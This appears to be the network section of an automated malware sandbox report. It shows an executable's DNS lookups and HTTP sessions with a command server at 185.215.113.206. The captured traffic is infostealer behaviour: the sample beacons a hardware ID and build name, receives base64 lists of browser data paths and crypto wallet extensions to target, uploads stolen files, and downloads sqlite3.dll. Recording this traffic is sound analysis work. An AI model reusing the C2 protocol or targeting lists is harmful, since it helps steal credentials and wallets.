Dec 7, 2024 08:43:20.062864065 CET	1.1.1.1	192.168.2.5	0xb6f5	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 08:43:20.062864065 CET	1.1.1.1	192.168.2.5	0xb6f5	No error (0)	www3.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:20.070962906 CET	1.1.1.1	192.168.2.5	0xb78f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 08:43:20.070962906 CET	1.1.1.1	192.168.2.5	0xb78f	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:20.071669102 CET	1.1.1.1	192.168.2.5	0x797c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:43:04.273679972 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 08:43:05.565963984 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:05.569607973 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 42 41 31 43 31 30 45 46 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="hwid"C1BA1C10EF5F552815863------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="build"drum------AKKEGHJDHDAFHIDHCFHD--
Dec 7, 2024 08:43:06.024842024 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 4d 78 4d 44 42 68 4f 57 45 34 59 7a 64 69 4d 32 55 34 4d 32 56 6b 5a 6a 56 69 5a 47 51 32 4e 6a 64 68 4e 44 55 33 4e 54 6b 77 4e 57 46 6a 59 57 52 6c 4e 6a 4d 34 4d 44 59 35 59 54 6b 79 5a 44 45 33 5a 47 4d 35 5a 6a 52 6d 59 54 67 7a 4d 44 4e 69 5a 57 46 68 59 7a 68 6c 59 6a 67 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGMxMDBhOWE4YzdiM2U4M2VkZjViZGQ2NjdhNDU3NTkwNWFjYWRlNjM4MDY5YTkyZDE3ZGM5ZjRmYTgzMDNiZWFhYzhlYjg5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 7, 2024 08:43:06.030121088 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"browsers------HDGIJJDGCBKFIDHIEBKE--
Dec 7, 2024 08:43:06.473995924 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 7, 2024 08:43:06.474072933 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 7, 2024 08:43:06.475544930 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="message"plugins------AKJKFBAFIDAEBFHJKJEB--
Dec 7, 2024 08:43:06.919698954 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 7, 2024 08:43:06.919725895 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 7, 2024 08:43:06.919737101 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 7, 2024 08:43:06.919862986 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 7, 2024 08:43:06.919949055 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 7, 2024 08:43:06.919960976 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 7, 2024 08:43:06.920070887 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 7, 2024 08:43:06.924432993 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="message"fplugins------GCFHDAKECFIDGDGDBKJD--
Dec 7, 2024 08:43:07.368995905 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 7, 2024 08:43:07.439600945 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.206 Content-Length: 6935 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 08:43:07.439677954 CET	6935	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 7, 2024 08:43:08.394866943 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:08.633466959 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:09.075722933 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 7, 2024 08:43:09.075865984 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 7, 2024 08:43:09.079910040 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	185.215.113.206	80	828	C:\Users\user\Desktop\file.exe

